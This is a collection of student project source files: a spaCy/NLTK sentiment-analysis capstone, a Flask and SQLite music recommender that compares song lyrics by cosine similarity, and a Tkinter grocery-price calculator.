"src_encoding": "UTF-8", "text": "import spacy\n\nnlp = spacy.load('en_core_web_sm')\n\n\ndef pos_tag(review):\n #print(review)\n full_review = []\n doc = nlp(review)\n #for each individual review in a list\n for token in doc:\n #for each word in a list\n if token.pos_ == \"PROPN\":\n result = (\"Proper Noun is \" + str(token))\n #print(result)\n full_review.append(result)\n if token.pos_ == \"NOUN\":\n result = (\"Noun is \" + str(token))\n #print(result)\n full_review.append(result)\n if token.pos_ == \"ADJ\":\n result = (\"ADJ is \" + str(token))\n #print(result)\n full_review.append(result)\n return full_review\n\n\n\ndef word_dep(review):\n #print(review)\n full_review = []\n placeholder = []\n doc = nlp(review)\n #for each individual review in a list\n for token in doc:\n #for each word in a list\n if token.dep_ == \"nsubj\":\n result = (\"nsubj is \" + str(token))\n #print(result)\n placeholder.append(result)\n if token.dep_ == \"amod\":\n result = (\"amod is \" + str(token))\n #print(result)\n placeholder.append(result)\n if token.dep_ == \"pobj\":\n result = (\"pobj is \" + str(token))\n #print(result)\n placeholder.append(result)\n if str(token) == \".\":\n full_review.append(placeholder)\n placeholder = []\n\n print(full_review)\n\n return full_review\n\n\n\n" }, { "alpha_fraction": 0.7736916542053223, "alphanum_fraction": 0.7736916542053223, "avg_line_length": 32.66666793823242, "blob_id": "df7b2cc0bf87223b0cb9bbe9361a04d257c9caf2", "content_id": "23b98a1768618ddaa5013f4736901d18ec49ad3d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 707, "license_type": "no_license", "max_line_length": 73, "num_lines": 21, "path": "/Sentiment.py", "repo_name": "wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-", "src_encoding": "UTF-8", "text": "from textblob import TextBlob\nimport json\n\ntext = '''\nThe titular threat of The Blob has always struck me as the ultimate movie\nmonster: an insatiably hungry, amoeba-like mass able to penetrate\nvirtually any safeguard, capable of--as a doomed doctor chillingly\ndescribes it--\"assimilating flesh on contact.\nSnide comparisons to gelatin be damned, it's a concept with the most\ndevastating of potential consequences, not unlike the grey goo scenario\nproposed by technological theorists fearful of\nartificial intelligence run rampant.\n'''\nfile = open(\"cleaned/output/cleaned.txt\", \"r\")\nfor x in file:\n print(x)\n\n\n# blob = TextBlob(text)\n# for sentence in blob.sentences:\n# print(sentence.sentiment)\n" }, { "alpha_fraction": 0.6183419823646545, "alphanum_fraction": 0.6215458512306213, "avg_line_length": 26.755556106567383, "blob_id": "7bb28a6efab757bdf9d3a8d320e58c374b1dce60", "content_id": "53e0d44b7e574084840a808b980ef4e14fa7710e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2497, "license_type": "no_license", "max_line_length": 114, "num_lines": 90, "path": "/label_gen.py", "repo_name": "wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-", "src_encoding": "UTF-8", "text": "import spacy\nimport nltk.classify.util\nfrom nltk.corpus import stopwords\nfrom nltk.classify import NaiveBayesClassifier\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import wordnet\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn import metrics\nfrom sklearn.feature_extraction.text import CountVectorizer\n# from sklearn.cross_validation import cross_val_score\nfrom nltk.tokenize import RegexpTokenizer\nimport sys\nimport json\n\nsys.path.append('/Users/Work/Documents/College/Senior/Senior Seminar/Main/virtualenv/lib/python3.6/site-packages')\n\ndef Pos_Sort(input):\n target = open('positive1.txt', \"a+\")\n pos = []\n full = []\n file = open(input, \"r\")\n for line in file:\n if \"\\t1\\n\" in line:\n pos.append(line.lower())\n pos = {x.replace('\\t1\\n', '') for x in pos}\n for review in pos:\n tokenizer = RegexpTokenizer(\"[\\w']+\")\n useful_words = tokenizer.tokenize(review)\n # useful_words = tokenizer.tokenize(useful_words)\n full.append(useful_words)\n for x in useful_words:\n target.write(str(x) + \" \")\n target.write(\"\\n\")\n\n target.close()\n file.close()\n\n\ndef Neg_Sort(input):\n target = open('negative1.txt', \"a+\")\n neg = []\n full = []\n file = open(input, \"r\")\n for line in file:\n if \"\\t0\\n\" in line:\n neg.append(line.lower())\n neg = {x.replace('\\t0\\n', '') for x in neg}\n for review in neg:\n tokenizer = RegexpTokenizer(\"[\\w']+\")\n useful_words = tokenizer.tokenize(review)\n # useful_words = tokenizer.tokenize(useful_words)\n full.append(useful_words)\n for x in useful_words:\n target.write(str(x) + \" \")\n target.write(\"\\n\")\n\n target.close()\n file.close()\n\ndef punctuation_check(string):\n punctuations = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~'''\n\n if string in punctuations:\n return True\n\n\ndef punctuation(string):\n # punctuation marks\n punctuations = '''!()-[]{};:'\"\\,<>./?@#$%^&*_~'''\n # traverse the given string and if any punctuation\n # marks occur replace it with null\n if string in punctuations:\n string = string.replace(string, \"\")\n return string\n else:\n # Print string without punctuation\n return string\n\nif __name__ == '__main__':\n file = \"sentiment_labelled_sentences/yelp_labelled.txt\"\n Pos_Sort(file)\n Neg_Sort(file)\n # neg = Neg_Sort(file)\n\n# SortAndTokenize(input)\n\n\nfile = open('things.txt', \"a\")\n\nfile.close" }, { "alpha_fraction": 0.5410447716712952, "alphanum_fraction": 0.5625, "avg_line_length": 21.808509826660156, "blob_id": "c70657d5d3b8e45bc8e3d2160796a96abad03bc7", "content_id": "b666de51d39bd9f2231cd9a7c7f682269bdd92ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1072, "license_type": "no_license", "max_line_length": 80, "num_lines": 47, "path": "/Evaluate.py", "repo_name": "wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-", "src_encoding": "UTF-8", "text": "import spacy\nimport csv\nimport spacy\nimport nltk\n\nnlp = spacy.load('en_core_web_sm')\nfile = 'Evaluation/POS/positive.csv'\n\ncount = 0\narray1 = []\narray2 = []\nwith open(file, newline='') as csvfile:\n spamreader1 = csv.reader(csvfile, delimiter=' ', quotechar='|')\n correct = 0\n total = 0\n temp1 = \"\"\n temp2 = \"\"\n\n # print(spamreader2)\n for row in spamreader1:\n for x in row:\n\n y = x.replace(\",\", \" \")\n doc = nlp(y)\n for token in doc:\n # print(token.pos_)\n array1.append(token.pos_)\n\n\ncount = 0\ncorrect = 0\nwith open('Evaluation/POS/split_correct.csv', newline='') as csvfile:\n spamreader1 = csv.reader(csvfile, delimiter=' ', quotechar='|')\n correct = 0\n total = 0\n temp1 = \"\"\n temp2 = \"\"\n\n # print(spamreader2)\n for row in spamreader1:\n for x in row:\n if x == array1[count]:\n correct += 1\n count += 1\nprint(\"This is the number of correct: \" + str(correct) + \"out of \" + str(count))\npercent = correct/count\nprint(percent)\n" } ]
10
Seondong/KSE625_FinalWebPage
https://github.com/Seondong/KSE625_FinalWebPage
809af6231d0c7341b5343c0be77349b393f583c2
823fe0fefcd1f7e0d3a1758b3379cb21463b1aa3
241331e6d696d257b96f4c4308d94d58d8da6b5f
refs/heads/master
2016-08-12T12:49:58.561633
2016-04-24T17:55:43
2016-04-24T17:55:43
47,992,436
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6487656235694885, "alphanum_fraction": 0.6574222445487976, "avg_line_length": 31.659685134887695, "blob_id": "2f7f234f317c1d4b60858705a433b93d5623acf3", "content_id": "1627e4ed14fefd38ffe49a3d8ba701d96feb100f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6238, "license_type": "no_license", "max_line_length": 135, "num_lines": 191, "path": "/FlaskApp/naiveRecommender.py", "repo_name": "Seondong/KSE625_FinalWebPage", "src_encoding": "UTF-8", "text": "from collections import defaultdict, Counter\nimport csv\nimport random\nfrom collections import OrderedDict\nimport math\nimport glob\nimport os\n\n\ndef abcd():\n\ttitle = 'yop'\n\treturn title\n\n\n\n\ndef readSongToTrackMapping():\n\tsong_to_track = defaultdict(list)\n\twith open('../../../../home/hyeongju/kse625data/Kaggle_Data/taste_profile_song_to_tracks.txt', 'r') as f:\n \t\treader=csv.reader(f)\n \t\tfor line in reader:\n\t\t\teachList = line[0].split('\\t')\n\t\t\tsongID = eachList[0]\n\t\t\ttrackIDs = eachList[1:]\n song_to_track[songID].extend(trackIDs)\n\treturn song_to_track\n\n\ndef aggregateMusicWord(sample_user_input, song_to_track, conn): \n aggCounter = Counter()\n \n for songID in sample_user_input.keys():\n # Get Lyrics\n frequency = int(sample_user_input.get(songID))\n \n counter1 = songIDtoWordCounter(songID, song_to_track, conn)\n \n for k in counter1.keys():\n counter1[k] = counter1[k] * frequency # weight(frequency) = possible: log\n\n aggCounter += counter1\n \n return aggCounter\n\n\ndef songIDtoWordCounter(songID, song_to_track, conn):\n try:\n trackID = random.choice(song_to_track.get(songID))\n res1 = conn.execute(\"SELECT word, count FROM lyrics WHERE track_id='\"+trackID+\"' ORDER BY count DESC\")\n list1 = res1.fetchall()\n dict1 = dict(list1)\n counter1 = Counter(dict1)\n except (IndexError, TypeError):\n counter1 = Counter()\n return counter1\n\n\n\ndef showSampleUserInput(music_freq, song_to_track, conn_tmdb):\n \n temp = defaultdict()\n for songID in music_freq.keys():\n temp[songToName(songID, conn_tmdb, song_to_track)] = music_freq.get(songID)\n \n return temp\n\n\ndef readInput():\n\tsample_user_input = defaultdict()\n\twith open('/var/www/FlaskApp/FlaskApp/musicdata/sample_evaluation_triplets.txt','r') as f:\n\t\tfor line in csv.reader(f, dialect=\"excel-tab\"):\n\t\t\tuserID=line[0]\n\t\t\ttrackID=line[1]\n\t\t\tfrequency=line[2]\n\t\t\tsample_user_input[trackID] = frequency\n\treturn sample_user_input\n\n\ndef getSongList():\n\tsongList = list()\n\twith open('../../../../home/hyeongju/kse625data/Kaggle_Data/kaggle_songs.txt', 'r') as f:\n\t\treader=csv.reader(f,delimiter=' ')\n\t\tfor songID, num in reader:\n\t\t\tsongList.append(songID)\n\treturn songList\n\n\ndef songToName(songID, conn_tmdb, song_to_track):\n try:\n trackID = song_to_track.get(songID)[0] \n res1 = conn_tmdb.execute(\"SELECT artist_name, title FROM songs WHERE track_id='\" + trackID+\"'\")\n list1 = res1.fetchone()\n except IndexError:\n trackID = \"\"\n return list1\n\n\ndef showSampleUserInput(music_freq, song_to_track, conn_tmdb):\n \n # Music Input ID to artist-songName\n \n temp = defaultdict()\n for songID in music_freq.keys():\n temp[songToName(songID, conn_tmdb, song_to_track)] = music_freq.get(songID)\n \n return temp\n\n\n \ndef naiveMusicRecommender(numSelect, music_freq, params, song_to_track, sampleSongList, conn, conn_tmdb):\n # numSelect: Number of music to recommend\n # music_freq: Music ID - Freq Information (Input data)\n # Param: Weight of each features\n # song_to_track: mapping information(song_id - track_id)\n # sampleSongList: seed songs\n # conn_tmdb: db file(track)\n \n ##Find numSelect relevant music to userFavoriteWord.\n \n userFavoriteWords = aggregateMusicWord(music_freq, song_to_track, conn)\n \n simtoseedsongs = dict()\n for sampleSong in sampleSongList:\n simtoseedsongs[sampleSong] = counter_cosine_similarity(userFavoriteWords, songIDtoWordCounter(sampleSong, song_to_track, conn))\n \n recommended_music_score = OrderedDict(sorted(simtoseedsongs.items(), \n key=lambda kv: kv[1], reverse=True)[:numSelect])\n \n \n temp = defaultdict()\n for key in recommended_music_score.keys():\n temp[songToName(key, conn_tmdb, song_to_track)] = round(recommended_music_score.get(key), 3)\n\n real_recommended_music_score = OrderedDict(sorted(temp.items(), \n key=lambda kv: kv[1], reverse=True))\n \n \n return real_recommended_music_score\n\n\ndef naiveMusicRecommender2(numSelect, music_freq, params, song_to_track, sampleSongList, conn, conn_tmdb):\n # numSelect: Number of music to recommend\n # music_freq: Music ID - Freq Information (Input data)\n # Param: Weight of each features\n # song_to_track: mapping information(song_id - track_id)\n # sampleSongList: seed songs\n # conn_tmdb: db file(track)\n \n ##Find numSelect relevant music to userFavoriteWord.\n \n userFavoriteWords = aggregateMusicWord(music_freq, song_to_track, conn)\n \n simtoseedsongs = dict()\n for sampleSong in sampleSongList:\n simtoseedsongs[sampleSong] = counter_cosine_similarity(userFavoriteWords, songIDtoWordCounter(sampleSong, song_to_track, conn))\n \n recommended_music_score = OrderedDict(sorted(simtoseedsongs.items(), \n key=lambda kv: kv[1], reverse=True)[:numSelect])\n \n \n temp = defaultdict()\n for key in recommended_music_score.keys():\n temp[key] = round(recommended_music_score.get(key), 3)\n # temp[songToName(key, conn_tmdb, song_to_track)] = round(recommended_music_score.get(key), 3)\n\n real_recommended_music_score = OrderedDict(sorted(temp.items(), \n key=lambda kv: kv[1], reverse=True))\n \n \n return real_recommended_music_score\n\n\n\ndef counter_cosine_similarity(c1, c2):\n terms = set(c1).union(c2)\n dotprod = sum(c1.get(k, 0) * c2.get(k, 0) for k in terms)\n magA = math.sqrt(sum(c1.get(k, 0)**2 for k in terms))\n magB = math.sqrt(sum(c2.get(k, 0)**2 for k in terms))\n try:\n similarityValue = dotprod / (magA * magB) \n except ZeroDivisionError:\n similarityValue = 0\n return similarityValue\n\n\ndef getSampleUserIDsToShow():\n\t#fileLists = sorted(glob.glob('/var/www/FlaskApp/FlaskApp/static/userdata/*.json'), key=os.path.getsize, reverse=True)\n\tfileLists = sorted(glob.glob('/var/www/FlaskApp/FlaskApp/static/userdata/*.json'))\n\tfileNames = [os.path.basename(x) for x in fileLists]\n\tids = [x.replace(\".json\", \"\") for x in fileNames]\n\treturn ids\n" }, { "alpha_fraction": 0.6369770765304565, "alphanum_fraction": 0.6909581422805786, "avg_line_length": 29.309091567993164, "blob_id": "621d222d7d357d337aa2d39cf72b49ec2845d2d0", "content_id": "e844155fc1f7dedc4e91bfb2a1b82cac27678bb7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6669, "license_type": "no_license", "max_line_length": 388, "num_lines": 220, "path": "/FlaskApp/__init__.py", "repo_name": "Seondong/KSE625_FinalWebPage", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request, jsonify\nfrom flask_jsglue import JSGlue\nimport csv\nfrom collections import defaultdict\nfrom naiveRecommender import *\nimport sqlite3\nimport json\nimport pickle\nimport numpy as np\n\njsglue = JSGlue()\napp = Flask(__name__, static_url_path='/static')\njsglue.init_app(app)\n\nfrom werkzeug.debug import DebuggedApplication\napplication = DebuggedApplication(app, evalex=True)\n\[email protected]('/base')\ndef base():\n return render_template('base.html')\n\[email protected]('/base2')\ndef base2():\n return render_template('base2.html')\n\[email protected]('/_add_numbers')\ndef add_numbers():\n a = request.args.get('a', 0, type=int)\n b = request.args.get('b', 0, type=int)\n return jsonify(result = a + b)\n\[email protected]('/methods')\ndef methods():\n return render_template('methods.html')\n\n\[email protected]('/_user_train_input')\ndef open_user_train_data():\n\t#userID = request.args.get('userID')\n\tuserID = 'b6c0cd2c97b041f488882380d260b79779b52c2a'\n\tsample_user_input = defaultdict()\n\twith open('/var/www/FlaskApp/FlaskApp/static/musicdata/user_song_to_score.txt','r') as f:\n\t\tfor line in csv.reader(f, dialect=\"excel-tab\"):\n\t\t\tuID=line[0]\n\t\t\tif uID == userID:\n\t\t\t\ttID=line[1]\n\t\t\t\tfrequency=line[2]\n\t\t\t\tsample_user_input[tID] = frequency\n\treturn jsonify(result = sample_user_input)\n\n\[email protected]('/index2')\ndef index2():\n\ttitle = \"GodJuyeon BopipBopip\"\n\tuserList = getSampleUserIDsToShow()\n\treturn render_template('index2.html', title = title, userList = userList)\n\n\[email protected]('/signUp')\ndef signUp():\n return render_template('signUp.html')\n\n \[email protected]('/')\ndef homepage():\n\ttitle = \"MusicNet\"\n\t#paragraph = [\"Our results\"]\n\ttry:\n\t\treturn render_template(\"index.html\", title = title)\n\texcept Exception, e:\n\t\treturn str(e)\n\[email protected]('/about')\ndef aboutpage():\n\n\n return render_template(\"about.html\")\n\n\[email protected]('/about/contact')\ndef contactPage():\n\n title = \"About this site\"\n paragraph = [\"blah blah blah memememememmeme blah blah memememe\"]\n\n pageType = 'about'\n\n return render_template(\"index.html\", title=title, paragraph=paragraph, pageType=pageType)\n\[email protected]('/graph')\ndef graph_Example(chartID = 'chart_ID', chart_type = 'line', chart_height = 500):\n subtitleText = 'test'\n\t#topPairs, bottomPairs = datafunctions.twoPaneGraphData('btceHistory',1, 3, 4)\n dataSet = [[1408395614.0, 430.2], [1408395614.0, 431.13], [1408395617.0, 431.354], [1408395623.0, 432.349], [1408395623.0, 432.017], [1408395640.0, 430.195], [1408395640.0, 430.913], [1408395640.0, 430.913], [1408395647.0, 430.211], [1408395647.0, 430.297], [1408395647.0, 430.913], [1408395648.0, 432.996], [1408395648.0, 432.996], [1408395648.0, 432.349], [1408395654.0, 431.0]]\n pageType = 'graph'\n\tchart = {\"renderTo\": chartID, \"type\": chart_type, \"height\": chart_height, \"zoomType\":'x'}\n\tseries = [{\"name\": 'Label1', \"data\": dataSet}]\n\tgraphtitle = {\"text\": 'My Title'}\n\txAxis = {\"type\":\"datetime\"}\n\tyAxis = {\"title\": {\"text\": 'yAxis Label'}}\n\treturn render_template('graph.html',pageType=pageType,subtitleText=subtitleText, chartID=chartID, chart=chart, series=series, graphtitle=graphtitle, xAxis=xAxis, yAxis=yAxis)\n\[email protected]('/msdresults')\ndef msdresults():\n userList = getSampleUserIDsToShow()\n try:\n return render_template(\"msdresults.html\", userList = userList)\n except Exception, e:\n return str(e) \n return render_template(\"msdresults.html\")\n\[email protected]('/graph2')\ndef graphpage2():\n \n return render_template(\"graph2.html\")\n\[email protected]('/index3')\ndef index3():\n\treturn render_template(\"index3.html\")\n\n\[email protected]('/index4')\ndef index4():\n\treturn render_template(\"index4.html\")\n\[email protected]('/index5')\ndef index5():\n\ttitle = \"Personalized Music Recommender\"\n\t#paragraph = [\"Our results\"]\n\tuserList = getSampleUserIDsToShow()\n\ttry:\n\t\treturn render_template(\"index.html\", title = title, userList = userList)\n\texcept Exception, e:\n\t\treturn str(e)\n\[email protected]('/realtime')\ndef get_data():\n\tsample_user_input = readInput()\n\tsong_to_track = readSongToTrackMapping()\n\tconn_tmdb = sqlite3.connect('../../../../home/hyeongju/kse625data/track_metadata.db')\n\tartist_name_user_input = showSampleUserInput(sample_user_input, song_to_track, conn_tmdb)\n\treturn render_template('realtime.html', x=artist_name_user_input)\n\n\[email protected]('/getdata2')\ndef get_data2():\n\tsample_user_input = readInput()\n\tsong_to_track = readSongToTrackMapping()\n\tconn_tmdb = sqlite3.connect('../../../../home/hyeongju/kse625data/track_metadata.db')\n\tartist_name_user_input = showSampleUserInput(sample_user_input, song_to_track, conn_tmdb)\n\treturn render_template('getdata2.html', x=artist_name_user_input)\n\n\[email protected]('/service')\ndef service():\n\treturn render_template('service.html')\n\n \[email protected]('/getdata4')\ndef get_data4():\n\treturn render_template('getdata4.html')\n \n\[email protected]('/getdata/user/<id>')\ndef get_user_data(id):\n\t\n\treturn id\n\n\n\[email protected]('/recommendresult')\ndef music_recommend():\n\tconn = sqlite3.connect('../../../../home/hyeongju/kse625data/mxm_dataset.db')\n\tconn_tmdb = sqlite3.connect('../../../../home/hyeongju/kse625data/track_metadata.db')\n\tsample_user_input = readInput()\n\tsong_to_track = readSongToTrackMapping()\n\taggCounter = aggregateMusicWord(sample_user_input, song_to_track, conn)\n\tsongList = getSongList()\n\n\tparams = [0,0,1,0,0]\n\tseedSongList = songList[:3000]\n\trecommended_music_score = naiveMusicRecommender(10, sample_user_input, params, song_to_track, seedSongList, conn, conn_tmdb)\t\n\t\n\treturn render_template('recommendresult.html', x=recommended_music_score)\n\t#return recommended_music_score\n\n\n\[email protected]('/recommendresult3')\ndef music_recommend3():\n SongIDList = json.loads(request.args.get('SongIDList'))\n #SIDList = ['SOHGGAH12A58A795BE', 'SOSYIDB12A8C1371F3']\n sample_user_input = {}\n for id in SongIDList: \n sample_user_input[id] = 1\n \n conn = sqlite3.connect('../../../../home/hyeongju/kse625data/mxm_dataset.db')\n conn_tmdb = sqlite3.connect('../../../../home/hyeongju/kse625data/track_metadata.db')\n #sample_user_input = readInput()\n song_to_track = readSongToTrackMapping()\n aggCounter = aggregateMusicWord(sample_user_input, song_to_track, conn)\n songList = getSongList()\n # with open('/static/11000songs.pkl', 'r') as f:\n # \tgg = pickle.load(open)\n # seedSongList = gg\n params = [0,0,1,0,0]\n seedSongList = [song for song in songList[:3000] if song not in SongIDList]\n\n recommended_music_score = naiveMusicRecommender2(15, sample_user_input, params, song_to_track, seedSongList, conn, conn_tmdb)\t\n \n return jsonify(result = recommended_music_score)\n\t\n\n\n\n\n\n\nif __name__ == \"__main__\":\n\tapp.run(debug=True, host='0.0.0.0')\n\n" }, { "alpha_fraction": 0.6764705777168274, "alphanum_fraction": 0.6764705777168274, "avg_line_length": 64, "blob_id": "1a647d604a6f7c6a21672f499842d5af482d46ae", "content_id": "2eee07ba963e990fa7aa02ceb57dd91967ce524b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 68, "license_type": "no_license", "max_line_length": 64, "num_lines": 1, "path": "/FlaskApp/templates/plotlyy.js", "repo_name": "Seondong/KSE625_FinalWebPage", "src_encoding": "UTF-8", "text": "<script src=\"https://cdn.plot.ly/plotly-latest.min.js\"></script>\r\n\r\n" }, { "alpha_fraction": 0.7793427109718323, "alphanum_fraction": 0.7840375304222107, "avg_line_length": 20.200000762939453, "blob_id": "a745ab2e2620d02c6edbb31d190e10cc01bc6e39", "content_id": "87da77c327aed0b535a4a17168619e97ad0749d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 213, "license_type": "no_license", "max_line_length": 45, "num_lines": 10, "path": "/flaskapp.wsgi", "repo_name": "Seondong/KSE625_FinalWebPage", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport sys\nimport logging\n\nlogging.basicConfig(stream=sys.stderr)\nsys.path.insert(0,\"/var/www/FlaskApp/\")\n\nfrom FlaskApp import app as application\napplication.secret_key = 'secretsecretsecret'\n\n" }, { "alpha_fraction": 0.675632894039154, "alphanum_fraction": 0.732594907283783, "avg_line_length": 38.5, "blob_id": "e1f9b274d8728fdb3cf03620029a460149efa2ae", "content_id": "0ab6090d41683b3a54537544bca261a15ab2b1cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 632, "license_type": "no_license", "max_line_length": 95, "num_lines": 16, "path": "/README.md", "repo_name": "Seondong/KSE625_FinalWebPage", "src_encoding": "UTF-8", "text": "## 2015_KSE625_Team3_Project_Final_Webpage\n\nThis repository introduces our final project webpage, developed by Sundong Kim([email protected])\n<br>\n**I hope everyone enjoys our music recommendation system.**\n\n> Brief Introduction\n* Data: Million Song Dataset + Kaggle competition \n* Webpage: Flask + Bootstrap theme + D3 Graph visualization + Linux Apache server\n* Currently hosted at: [http://dmserver4.kaist.ac.kr:5000](http://dmserver4.kaist.ac.kr:5000)\n* Team Members\n\t* Sundong Kim ([email protected])\n\t* Juyoun Kim ([email protected])\n\t* Hyunwoo Je ([email protected])\n\t* Hyeongju Choi ([email protected])\n* Documentation: [ShareLatex link](https://www.sharelatex.com/project/56431cf24233b90d0974f8bc)\n" }, { "alpha_fraction": 0.5259740352630615, "alphanum_fraction": 0.5562770366668701, "avg_line_length": 11.184210777282715, "blob_id": "97def09af28c05914a521f190015d294ce0c5010", "content_id": "cc5615b596d9434d98739f513cbf030e9b5eec42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JSON", "length_bytes": 462, "license_type": "no_license", "max_line_length": 26, "num_lines": 38, "path": "/FlaskApp/static/package.json", "repo_name": "Seondong/KSE625_FinalWebPage", "src_encoding": "UTF-8", "text": "{\n\"name\": \"Example Package\",\n\"author\": \"Chris Bartek\",\n\"contents\": [\n{\n\"title\": \"Menu 1\",\n\"href\": \"menu1.html\",\n\"children\": [\n{\n\"title\": \"Submenu 1\",\n\"href\": \"submenu1.html\"\n},\n{\n\"title\": \"Submenu 2\",\n\"href\": \"submenu2.html\"\n}]\n},\n{\n\"title\": \"Menu 2\",\n\"href\": \"menu2.html\",\n\"children\": [\n{\n\"title\": \"Submenu 1\",\n\"href\": \"submenu1.html\"\n},\n{\n\"title\": \"Submenu 2\",\n\"href\": \"submenu2.html\",\n\"children\": [\n{\n\"title\": \"Subsubmenu 1\",\n\"href\": \"subsubmenu1.html\"\n}]\n}\n]\n}\n]\n}" }, { "alpha_fraction": 0.582205057144165, "alphanum_fraction": 0.6121856570243835, "avg_line_length": 26.945945739746094, "blob_id": "721df668a2ae05095ce2e88b46a0037bab13a9c0", "content_id": "2884e26b62b3a4ac8277a2e893ecb883f4b2a6fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1034, "license_type": "no_license", "max_line_length": 149, "num_lines": 37, "path": "/FlaskApp/templates/graph2.html", "repo_name": "Seondong/KSE625_FinalWebPage", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n\t<html>\n\t\t<head>\n\t\t\t<style type=\"text/css\">\n\t\t\t\tp{\n\t\t\t\t\tfont-size : 16px;\n\t\t\t\t\tfont-weight : bold;\n\t\t\t\t\tbackground-color : red;\n\t\t\t\t\tcolor : write;\n\t\t\t\t}\n\t\t\t</style>\n\n\n\t\t</head>\n\t\t<body>\n\t\t\t<script type = \"text/javascript\">\n\t\t\t\talert(\"Hello, Graph Visualization!\");\n\t\t\t</script>\n\t\t\t<h1> Amazing visualization Tool Cures All Ills </h1>\n\t\t\t<p> new open source d3 </p>\n\t\t<ul>\n\t\t\t<li>fevers</li>\n\t\t\t<li><a href=\"http://d3js.org/\">The D3 website</a></li>\n\t\t\t<li><a href=\"http://bl.ocks.org/mbostock/4062045\">Code</a> to generate graph visualization, but currently doesn't work somehow.</li>\n\t\t\t<li><a href=\"http://www.slideshare.net/arnicas/a-quick-and-dirty-intro-to-networkx-and-d3\">Slideshare</a> informative to graph visualization.</li>\n\t\t\t<li><a href=\"http://bl.ocks.org/mbostock/533daf20348023dfdd76\">MBOSTOCK</a></li>\n\t\t\t<li><a href=\"http://discover-devtools.codeschool.com/?locale=en\">Chrome Dev Tools</a></li>\n\t\t</ul>\n\t\t<p> good </p>\n\t\t<ol>\n\t\t\t<li>1</li>\t\n\t\t\t<li>2</li>\n\t\t\t<li>3</li>\n\t\t</ol>\n\t\t\n\t\t</body>\n\t</html>\t" } ]
7
dev98s/Grocery_Shopping_Helper
https://github.com/dev98s/Grocery_Shopping_Helper
fa610427c40cac6c5ca052db7a18358105a4a136
cee8156b29a906cf156d610b0e18a3b5d063dcd7
63969f4017e4f6f950cfb456343829ac1ba5ed04
refs/heads/master
2022-11-11T05:02:41.093623
2020-06-24T04:41:12
2020-06-24T04:41:12
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5369038581848145, "alphanum_fraction": 0.5851627588272095, "avg_line_length": 30.83132553100586, "blob_id": "e60f2418f114ba883a04037446a66855289ed529", "content_id": "05144fc8f240380761ebc4f38f1434c9b1efd5e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5284, "license_type": "no_license", "max_line_length": 116, "num_lines": 166, "path": "/Grocery_App_Final.py", "repo_name": "dev98s/Grocery_Shopping_Helper", "src_encoding": "UTF-8", "text": "from tkinter import *\nfrom PIL import Image, ImageTk\n\nroot = Tk()\nroot.title(\"Grocery Shopping Helper\")\nroot.geometry(\"400x430\")\nroot.resizable(width=False, height=False)\nroot.configure(bg='grey')\n\nlabel = Label(root, text=\"Choose Your Items-\", font=('Helvetica', 25, 'bold', 'underline'), fg=\"snow\")\nlabel.grid(columnspan=2, sticky='e')\nlabel.configure(bg=\"grey\")\n\nv = IntVar()\n\nres = IntVar()\n\na = 0\nc1 = 0\nc2 = 0\nc3 = 0\nc4 = 0\nc5 = 0\nc6 = 0\n\nitems = ['Bananas', 'Apples', 'Grapes', 'Strawberrys', 'Mangos', 'Cherrys']\nprice = [4, 6, 10, 12, 14, 18]\n\n\ndef loop(arr):\n new = ''\n for i in arr:\n new = new + i + \"\\n\"\n return new\n\n\ndef cal_price():\n value = int(v.get())\n global a, c1, c2, c3, c4, c5, c6\n b = 0\n if value == 0:\n res.set(int(entry.get()) * price[0])\n b = int(entry.get()) * price[0]\n c1 += int(entry.get())\n elif value == 1:\n res.set(int(entry.get()) * price[1])\n b = int(entry.get()) * price[1]\n c2 += int(entry.get())\n elif value == 2:\n res.set(int(entry.get()) * price[2])\n b = int(entry.get()) * price[2]\n c3 += int(entry.get())\n elif value == 3:\n res.set(int(entry.get()) * price[3])\n b = int(entry.get()) * price[3]\n c4 += int(entry.get())\n elif value == 4:\n res.set(int(entry.get()) * price[4])\n b = int(entry.get()) * price[4]\n c5 += int(entry.get())\n elif value == 5:\n res.set(int(entry.get()) * price[5])\n b = int(entry.get()) * price[5]\n c6 += int(entry.get())\n a = a + b\n label5.config(text=a)\n amount.config(text=str(c1) + \"\\n\" + str(c2) + \"\\n\" + str(c3) + \"\\n\" + str(c4) + \"\\n\" + str(c5) + \"\\n\" + str(c6))\n\n\ndef clr():\n global a, c1, c2, c3, c4, c5, c6\n label5.config(text=0)\n res.set(0)\n amount.config(text='0\\n0\\n0\\n0\\n0\\n0')\n a = 0\n c1 = 0\n c2 = 0\n c3 = 0\n c4 = 0\n c5 = 0\n c6 = 0\n\n\nr_btn = Radiobutton(root, text=items[0] + \" (\" + str(price[0]) + \" rs/item)\", variable=v, value=0,\n font=('Helvetica', 10, 'bold'))\nr_btn.grid(row=1, column=1, sticky=\"w\")\nr_btn.configure(bg=\"grey\", fg='yellow')\n\nr_btn1 = Radiobutton(root, text=items[1] + \" (\" + str(price[1]) + \" rs/item)\", variable=v, value=1,\n font=('Helvetica', 10, 'bold'))\nr_btn1.grid(row=2, column=1, sticky=\"w\")\nr_btn1.configure(bg=\"grey\", fg='darkred')\n\nr_btn2 = Radiobutton(root, text=items[2] + 